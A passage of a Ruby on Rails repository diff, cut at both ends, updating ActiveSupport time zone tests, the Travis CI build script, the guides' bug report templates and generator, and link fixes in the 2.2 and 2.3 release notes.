'%e %b %Y', Time.local(2000, 1, 1)) + end + end + def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize tzinfo = TZInfo::Timezone.get('America/New_York') zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo) @@ -318,6 +395,17 @@ class TimeZoneTest < ActiveSupport::TestCase assert_equal(-18_000, zone.utc_offset) end + def test_utc_offset_is_not_cached_when_current_period_gets_stale + tz = ActiveSupport::TimeZone.create('Moscow') + travel_to(Time.utc(2014, 10, 25, 21)) do # 1 hour before TZ change + assert_equal 14400, tz.utc_offset, 'utc_offset should be initialized according to current_period' + end + + travel_to(Time.utc(2014, 10, 25, 22)) do # after TZ change + assert_equal 10800, tz.utc_offset, 'utc_offset should not be cached when current_period gets stale' + end + end + def test_seconds_to_utc_offset_with_colon assert_equal "-06:00", ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600) assert_equal "+00:00", ActiveSupport::TimeZone.seconds_to_utc_offset(0) @@ -413,4 +501,18 @@ class TimeZoneTest < ActiveSupport::TestCase assert ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Hawaii"]) assert !ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Kuala Lumpur"]) end + + def test_country_zones + assert ActiveSupport::TimeZone.country_zones("ru").include?(ActiveSupport::TimeZone["Moscow"]) + assert !ActiveSupport::TimeZone.country_zones(:ru).include?(ActiveSupport::TimeZone["Kuala Lumpur"]) + end + + def test_to_yaml + assert_equal("--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n", ActiveSupport::TimeZone["Hawaii"].to_yaml) + assert_equal("--- !ruby/object:ActiveSupport::TimeZone\nname: Europe/London\n", ActiveSupport::TimeZone["Europe/London"].to_yaml) + end + + def test_yaml_load + assert_equal(ActiveSupport::TimeZone["Pacific/Honolulu"], YAML.load("--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n")) + end end diff --git a/activesupport/test/time_zone_test_helpers.rb b/activesupport/test/time_zone_test_helpers.rb index 9632b89d09..eb6f7d0f85 100644 --- a/activesupport/test/time_zone_test_helpers.rb +++ b/activesupport/test/time_zone_test_helpers.rb @@ -13,4 +13,12 @@ module TimeZoneTestHelpers ensure old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ') end + + def with_preserve_timezone(value) + old_preserve_tz = ActiveSupport.to_time_preserves_timezone + ActiveSupport.to_time_preserves_timezone = value + yield + ensure + ActiveSupport.to_time_preserves_timezone = old_preserve_tz + end end diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb index bcd6997b06..55e8181b54 100644 --- a/activesupport/test/xml_mini_test.rb +++ b/activesupport/test/xml_mini_test.rb @@ -1,9 +1,9 @@ require 'abstract_unit' require 'active_support/xml_mini' require 'active_support/builder' -require 'active_support/core_ext/array' require 'active_support/core_ext/hash' require 'active_support/core_ext/big_decimal' +require 'yaml' module XmlMiniTest class RenameKeyTest < ActiveSupport::TestCase diff --git a/ci/travis.rb b/ci/travis.rb index b62f90a59e..ffeba995de 100755 --- a/ci/travis.rb +++ b/ci/travis.rb @@ -16,13 +16,15 @@ end class Build MAP = { 'railties' => 'railties', - 'ap' => 'actionpack', - 'am' => 'actionmailer', - 'amo' => 'activemodel', - 'as' => 'activesupport', - 'ar' => 'activerecord', - 'av' => 'actionview', - 'aj' => 'activejob' + 'ap' => 'actionpack', + 'am' => 'actionmailer', + 'amo' => 'activemodel', + 'as' => 'activesupport', + 'ar' => 'activerecord', + 'av' => 'actionview', + 'aj' => 'activejob', + 'ac' => 'actioncable', + 'guides' => 'guides' } attr_reader :component, :options @@ -36,7 +38,11 @@ class Build self.options.update(options) Dir.chdir(dir) do announce(heading) - rake(*tasks) + if guides? + run_bug_report_templates + else + rake(*tasks) + end end end @@ -54,7 +60,14 @@ class Build def tasks if activerecord? - ['db:mysql:rebuild', "#{adapter}:#{'isolated_' if isolated?}test"] + tasks = ["#{adapter}:#{'isolated_' if isolated?}test"] + case adapter + when 'mysql2' + tasks.unshift 'db:mysql:rebuild' + when 'postgresql' + tasks.unshift 'db:postgresql:rebuild' + end + tasks else ["test", ('isolated' if isolated?), ('integration' if integration?)].compact.join(":") end @@ -67,10 +80,18 @@ class Build key.join(':') end + def activesupport? + gem == 'activesupport' + end + def activerecord? gem == 'activerecord' end + def guides? + gem == 'guides' + end + def isolated? options[:isolated] end @@ -92,10 +113,27 @@ class Build tasks.each do |task| cmd = "bundle exec rake #{task}" puts "Running command: #{cmd}" - return false unless system(cmd) + return false unless system(env, cmd) end true end + + def env + if activesupport? && !isolated? + # There is a known issue with the listen tests that causes files to be + # incorrectly GC'ed even when they are still in-use. The current is to + # only run them in isolation to avoid randomly failing our test suite. + { 'LISTEN' => '0' } + else + {} + end + end + + def run_bug_report_templates + Dir.glob('bug_report_templates/*.rb').all? do |file| + system(Gem.ruby, '-w', file) + end + end end if ENV['GEM']=='aj:integration' @@ -109,7 +147,9 @@ ENV['GEM'].split(',').each do |gem| [false, true].each do |isolated| next if ENV['TRAVIS_PULL_REQUEST'] && ENV['TRAVIS_PULL_REQUEST'] != 'false' && isolated next if gem == 'railties' && isolated + next if gem == 'ac' && isolated next if gem == 'aj:integration' && isolated + next if gem == 'guides' && isolated build = Build.new(gem, :isolated => isolated) results[build.key] = build.run! @@ -117,20 +157,6 @@ ENV['GEM'].split(',').each do |gem| end end -# puts -# puts "Build environment:" -# puts " #{`cat /etc/issue`}" -# puts " #{`uname -a`}" -# puts " #{`ruby -v`}" -# puts " #{`mysql --version`}" -# puts " #{`pg_config --version`}" -# puts " SQLite3: #{`sqlite3 -version`}" -# `gem env`.each_line {|line| print " #{line}"} -# puts " Bundled gems:" -# `bundle show`.each_line {|line| print " #{line}"} -# puts " Local gems:" -# `gem list`.each_line {|line| print " #{line}"} - failures = results.select { |key, value| !value } if failures.empty? diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md index dd5ca4b395..2730d2dfea 100644 --- a/guides/CHANGELOG.md +++ b/guides/CHANGELOG.md @@ -1,13 +1,2 @@ -* New section in Active Record Association Basics: Single Table Inheritance - *Andrey Nering* - -* New section in Active Record Querying: Understanding The Method Chaining - - *Andrey Nering* - -* New section in Configuring: Search Engines Indexing - - *Andrey Nering* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/guides/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/guides/CHANGELOG.md) for previous changes. diff --git a/guides/Rakefile b/guides/Rakefile index 3c2099ac02..00577377d7 100644 --- a/guides/Rakefile +++ b/guides/Rakefile @@ -7,7 +7,7 @@ namespace :guides do desc "Generate HTML guides" task :html do - ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this + ENV["WARNINGS"] = "1" # authors can't disable this ruby "rails_guides.rb" end diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png Binary files differindex 43c963ffa8..077d237e4e 100644 --- a/guides/assets/images/belongs_to.png +++ b/guides/assets/images/belongs_to.png diff --git a/guides/assets/images/favicon.ico b/guides/assets/images/favicon.ico Binary files differindex faa10b4580..87192a8a07 100644 --- a/guides/assets/images/favicon.ico +++ b/guides/assets/images/favicon.ico diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png Binary files differindex 3e07c948a0..baccb11322 100644 --- a/guides/assets/images/getting_started/rails_welcome.png +++ b/guides/assets/images/getting_started/rails_welcome.png diff --git a/guides/assets/images/has_many.png b/guides/assets/images/has_many.png Binary files differindex e7589e3b75..79da2613d7 100644 --- a/guides/assets/images/has_many.png +++ b/guides/assets/images/has_many.png diff --git a/guides/assets/images/rails_guides_logo.gif b/guides/assets/images/rails_guides_logo.gif Binary files differindex 9b0ad5af28..f7149a0415 100644 --- a/guides/assets/images/rails_guides_logo.gif +++ b/guides/assets/images/rails_guides_logo.gif diff --git a/guides/assets/javascripts/responsive-tables.js b/guides/assets/javascripts/responsive-tables.js index 8554a1343b..8554a1343b 100755..100644 --- a/guides/assets/javascripts/responsive-tables.js +++ b/guides/assets/javascripts/responsive-tables.js diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css index 6d2edb2eb8..bc7afd3898 100644 --- a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css +++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css @@ -90,7 +90,7 @@ } .syntaxhighlighter .script { color: #222 !important; - background-color: none !important; + background-color: transparent !important; } .syntaxhighlighter .color1, .syntaxhighlighter .color1 a { color: gray !important; diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb index 032e6bfe11..604cf4be41 100644 --- a/guides/bug_report_templates/action_controller_gem.rb +++ b/guides/bug_report_templates/action_controller_gem.rb @@ -1,7 +1,16 @@ -# Activate the gem you are reporting the issue against. -gem 'rails', '4.2.0' +begin + require 'bundler/inline' +rescue LoadError => e + $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' + raise e +end + +gemfile(true) do + source 'https://rubygems.org' + # Activate the gem you are reporting the issue against. + gem 'rails', '5.0.0.rc1' +end -require 'rails' require 'rack/test' require 'action_controller/railtie' @@ -23,7 +32,7 @@ class TestController < ActionController::Base include Rails.application.routes.url_helpers def index - render text: 'Home' + render plain: 'Home' end end diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb index 9be8130884..8322707495 100644 --- a/guides/bug_report_templates/action_controller_master.rb +++ b/guides/bug_report_templates/action_controller_master.rb @@ -1,17 +1,15 @@ -unless File.exist?('Gemfile') - File.write('Gemfile', <<-GEMFILE) - source 'https://rubygems.org' - gem 'rails', github: 'rails/rails' - gem 'arel', github: 'rails/arel' - GEMFILE - - system 'bundle' +begin + require 'bundler/inline' +rescue LoadError => e + $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' + raise e end -require 'bundler' -Bundler.setup(:default) +gemfile(true) do + source 'https://rubygems.org' + gem 'rails', github: 'rails/rails' +end -require 'rails' require 'action_controller/railtie' class TestApp < Rails::Application @@ -32,7 +30,7 @@ class TestController < ActionController::Base include Rails.application.routes.url_helpers def index - render text: 'Home' + render plain: 'Home' end end diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb index b295d9d21f..d4ede4e2c1 100644 --- a/guides/bug_report_templates/active_record_gem.rb +++ b/guides/bug_report_templates/active_record_gem.rb @@ -1,5 +1,17 @@ -# Activate the gem you are reporting the issue against. -gem 'activerecord', '4.2.0' +begin + require 'bundler/inline' +rescue LoadError => e + $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' + raise e +end + +gemfile(true) do + source 'https://rubygems.org' + # Activate the gem you are reporting the issue against. + gem 'activerecord', '5.0.0.rc1' + gem 'sqlite3' +end + require 'active_record' require 'minitest/autorun' require 'logger' diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb index 9557f0b7c5..6fd401bd50 100644 --- a/guides/bug_report_templates/active_record_master.rb +++ b/guides/bug_report_templates/active_record_master.rb @@ -1,16 +1,15 @@ -unless File.exist?('Gemfile') - File.write('Gemfile', <<-GEMFILE) - source 'https://rubygems.org' - gem 'rails', github: 'rails/rails' - gem 'arel', github: 'rails/arel' - gem 'sqlite3' - GEMFILE - - system 'bundle' +begin + require 'bundler/inline' +rescue LoadError => e + $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' + raise e end -require 'bundler' -Bundler.setup(:default) +gemfile(true) do + source 'https://rubygems.org' + gem 'rails', github: 'rails/rails' + gem 'sqlite3' +end require 'active_record' require 'minitest/autorun' @@ -21,10 +20,10 @@ ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:' ActiveRecord::Base.logger = Logger.new(STDOUT) ActiveRecord::Schema.define do - create_table :posts, force: true do |t| + create_table :posts, force: true do |t| end - create_table :comments, force: true do |t| + create_table :comments, force: true do |t| t.integer :post_id end end diff --git a/guides/bug_report_templates/generic_gem.rb b/guides/bug_report_templates/generic_gem.rb new file mode 100644 index 0000000000..bb8af3be18 --- /dev/null +++ b/guides/bug_report_templates/generic_gem.rb @@ -0,0 +1,25 @@ +begin + require 'bundler/inline' +rescue LoadError => e + $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' + raise e +end + +gemfile(true) do + source 'https://rubygems.org' + # Activate the gem you are reporting the issue against. + gem 'activesupport', '5.0.0.rc1' +end + +require 'active_support/core_ext/object/blank' +require 'minitest/autorun' + +# Ensure backward compatibility with Minitest 4 +Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test) + +class BugTest < Minitest::Test + def test_stuff + assert "zomg".present? + refute "".present? + end +end diff --git a/guides/bug_report_templates/generic_master.rb b/guides/bug_report_templates/generic_master.rb new file mode 100644 index 0000000000..70cf931f34 --- /dev/null +++ b/guides/bug_report_templates/generic_master.rb @@ -0,0 +1,22 @@ +begin + require 'bundler/inline' +rescue LoadError => e + $stderr.puts 'Bundler version 1.10 or later is required. Please update your Bundler' + raise e +end + +gemfile(true) do + source 'https://rubygems.org' + gem 'rails', github: 'rails/rails' +end + +require 'active_support' +require 'active_support/core_ext/object/blank' +require 'minitest/autorun' + +class BugTest < Minitest::Test + def test_stuff + assert "zomg".present? + refute "".present? + end +end diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb index 43f6f7eecf..7618fce2c8 100644 --- a/guides/rails_guides/generator.rb +++ b/guides/rails_guides/generator.rb @@ -162,7 +162,7 @@ module RailsGuides def select_only(guides) prefixes = ENV['ONLY'].split(",").map(&:strip) guides.select do |guide| - prefixes.any? { |p| guide.start_with?(p) || guide.start_with?("kindle") } + guide.start_with?('kindle'.freeze, *prefixes) end end @@ -194,7 +194,7 @@ module RailsGuides layout = kindle? ? 'kindle/layout' : 'layout' File.open(output_path, 'w') do |f| - view = ActionView::Base.new(source_dir, :edge => @edge, :version => @version, :mobi => "kindle/#{mobi}") + view = ActionView::Base.new(source_dir, :edge => @edge, :version => @version, :mobi => "kindle/#{mobi}", :lang => @lang) view.extend(Helpers) if guide =~ /\.(\w+)\.erb$/ diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb index a78c2e9fca..5bf73da16c 100644 --- a/guides/rails_guides/helpers.rb +++ b/guides/rails_guides/helpers.rb @@ -15,7 +15,7 @@ module RailsGuides end def documents_by_section - @documents_by_section ||= YAML.load_file(File.expand_path('../../source/documents.yaml', __FILE__)) + @documents_by_section ||= YAML.load_file(File.expand_path("../../source/#{@lang ? @lang + '/' : ''}documents.yaml", __FILE__)) end def documents_flat diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb index 32926622e3..081afcb09f 100644 --- a/guides/rails_guides/kindle.rb +++ b/guides/rails_guides/kindle.rb @@ -27,7 +27,7 @@ module Kindle generate_document_metadata(mobi_outfile) - puts "Creating MOBI document with kindlegen. This make take a while." + puts "Creating MOBI document with kindlegen. This may take a while." cmd = "kindlerb . > #{File.absolute_path logfile} 2>&1" puts cmd system(cmd) diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb index 36183fd321..049f633258 100644 --- a/guides/rails_guides/levenshtein.rb +++ b/guides/rails_guides/levenshtein.rb @@ -14,10 +14,13 @@ module RailsGuides d = (0..m).to_a x = nil - str1.each_char.each_with_index do |char1,i| + # avoid duplicating an enumerable object in the loop + str2_codepoint_enumerable = str2.each_codepoint + + str1.each_codepoint.with_index do |char1, i| e = i+1 - str2.each_char.each_with_index do |char2,j| + str2_codepoint_enumerable.with_index do |char2, j| cost = (char1 == char2) ? 0 : 1 x = [ d[j+1] + 1, # insertion diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb index 17035069d0..69c7cd5136 100644 --- a/guides/rails_guides/markdown.rb +++ b/guides/rails_guides/markdown.rb @@ -1,5 +1,3 @@ -# encoding: utf-8 - require 'redcarpet' require 'nokogiri' require 'rails_guides/markdown/renderer' diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb index 554d94ad50..73ca600361 100644 --- a/guides/rails_guides/markdown/renderer.rb +++ b/guides/rails_guides/markdown/renderer.rb @@ -16,7 +16,7 @@ HTML end def header(text, header_level) - # Always increase the heading level by, so we can use h1, h2 heading in the document + # Always increase the heading level by 1, so we can use h1, h2 heading in the document header_level += 1 %(<h#{header_level}>#{text}</h#{header_level}>) diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md index be00087f63..79634d8760 100644 --- a/guides/source/2_2_release_notes.md +++ b/guides/source/2_2_release_notes.md @@ -3,7 +3,7 @@ Ruby on Rails 2.2 Release Notes =============================== -Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub. +Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub. Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails. @@ -21,8 +21,8 @@ Rails 2.2 supplies an easy system for internationalization (or i18n, for those o * Lead Contributors: Rails i18 Team * More information : * [Official Rails i18 website](http://rails-i18n.org) - * [Finally. Ruby on Rails gets internationalized](http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized) - * [Localizing Rails : Demo application](http://github.com/clemens/i18n_demo_app) + * [Finally. Ruby on Rails gets internationalized](https://web.archive.org/web/20140407075019/http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized) + * [Localizing Rails : Demo application](https://github.com/clemens/i18n_demo_app) ### Compatibility with Ruby 1.9 and JRuby @@ -59,7 +59,7 @@ rake doc:guides This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser. * Lead Contributors: [Rails Documentation Team](credits.html) -* Major contributions from [Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai](http://izumi.plan99.net/blog/.) +* Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/). * More information: * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide) * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch) @@ -146,7 +146,7 @@ development: * Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/) * More information: - * [What's New in Edge Rails: Connection Pools](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools) + * [What's New in Edge Rails: Connection Pools](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools) ### Hashes for Join Table Conditions @@ -166,7 +166,7 @@ Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false ``` * More information: - * [What's New in Edge Rails: Easy Join Table Conditions](http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions) + * [What's New in Edge Rails: Easy Join Table Conditions](http://archives.ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions) ### New Dynamic Finders @@ -239,7 +239,7 @@ This will enable recognition of (among others) these routes: * Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/) * More information: * [Rails Routing from the Outside In](routing.html#nested-resources) - * [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes) + * [What's New in Edge Rails: Shallow Routes](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes) ### Method Arrays for Member or Collection Routes @@ -287,7 +287,7 @@ Action Mailer Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`. * More information: - * [What's New in Edge Rails: Mailer Layouts](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts) + * [What's New in Edge Rails: Mailer Layouts](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts) Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. @@ -321,7 +321,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize * Lead Contributor: [Josh Peek](http://joshpeek.com/) * More information: - * [What's New in Edge Rails: Easy Memoization](http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization) + * [What's New in Edge Rails: Easy Memoization](http://archives.ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization) * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization) ### each_with_object @@ -389,9 +389,9 @@ To avoid deployment issues and make Rails applications more self-contained, it's You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line. -* Lead Contributor: [Matt Jones](http://github.com/al2o3cr) +* Lead Contributor: [Matt Jones](https://github.com/al2o3cr) * More information: - * [What's New in Edge Rails: Gem Dependencies](http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies) + * [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies) * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/) * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128) @@ -411,7 +411,7 @@ Deprecated A few pieces of older code are deprecated in this release: * `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom` -* `render_component` is deprecated. There's a [render_components plugin](http://github.com/rails/render_component/tree/master) available if you need this functionality. +* `render_component` is deprecated. There's a [render_components plugin](https://github.com/rails/render_component/tree/master) available if you need this functionality. * Implicit local assignments when rendering partials has been deprecated. ```ruby diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md index 0a62f34371..06761b67bb 100644 --- a/guides/source/2_3_release_notes.md +++ b/guides/source/2_3_release_notes.md @@ -3,7 +3,7 @@ Ruby on Rails 2.3 Release Notes =============================== -Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. +Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. -------------------------------------------------------------------------------- @@ -125,14 +125,14 @@ Order.scoped_by_customer_id(12).scoped_by_status("open") There's nothing to define to use dynamic scopes: they just work. * Lead Contributor: [Yaroslav Markin](http://evilmartians.com/) -* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.) +* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://archives.ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods) ### Default Scopes Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). * Lead Contributor: PaweÅ‚ Kondzior -* More Information: [What's New in Edge Rails: Default Scoping](http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping) +* More Information: [What's New in Edge Rails: Default Scoping](http://archives.ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping) ### Batch Processing @@ -158,7 +158,7 @@ Note that you should only use this method for batch processing: for small number * More Information (at that point the convenience method was called just `each`): * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/) - * [What's New in Edge Rails: Batched Find](http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find) + * [What's New in Edge Rails: Batched Find](http://archives.ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find) ### Multiple Conditions for Callbacks @@ -179,7 +179,7 @@ developers = Developer.find(:all, :group => "salary", :having => "sum(salary) > 10000", :select => "salary") ``` -* Lead Contributor: [Emilio Tagua](http://github.com/miloops) +* Lead Contributor: [Emilio Tagua](https://github.com/miloops) ### Reconnecting MySQL Connections @@ -235,7 +235,7 @@ If you're one of the people who has always been bothered by the special-case nam * More Information: * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/) - * [What's New in Edge Rails: Application.rb Duality is no More](http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more) + * [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more) ### HTTP Digest Authentication Support @@ -261,7 +261,7 @@ end ``` * Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/) -* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication) +* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://archives.ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication) ### More Efficient Routing @@ -377,8 +377,8 @@ You can write this view in Rails 2.3: * Lead Contributor: [Eloy Duran](http://superalloy.nl/) * More Information: * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms) - * [complex-form-examples](http://github.com/alloy/complex-form-examples) - * [What's New in Edge Rails: Nested Object Forms](http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes) + * [complex-form-examples](https://github.com/alloy/complex-form-examples) + * [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes) ### Smart Rendering of Partials @@ -394,7 +394,7 @@ render @article render @articles ``` -* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance) +* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://archives.ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance) ### Prompts for Date Select Helpers @@ -421,7 +421,7 @@ You're likely familiar with Rails' practice of adding timestamps to static asset Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting. -* More Information: [asset-hosting-with-minimum-ssl](http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master) +* More Information: [asset-hosting-with-minimum-ssl](https://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master) ### grouped_options_for_select Helper Method @@ -498,7 +498,7 @@ Active Support has a few interesting changes, including the introduction of `Obj A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil. -* More Information: [try()](http://ozmm.org/posts/try.html.) +* More Information: [try()](http://ozmm.org/posts/try.html) ### Object#tap Backport @@ -533,7 +533,7 @@ If you look up the spec on the "json.org" site, you'll discover that all keys in ### Other Active Support Changes * You can use `Enumerable#none?` to check that none of the elements match the supplied block. -* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/,) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil. +* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil. * `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`. * `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies). * Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. @@ -555,11 +555,11 @@ Rails Metal is a new mechanism that provides superfast endpoints inside of your * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal) * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m) * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html) - * [What's New in Edge Rails: Rails Metal](http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal) + * [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal) ### Application Templates -Rails 2.3 incorporates Jeremy McAnally's 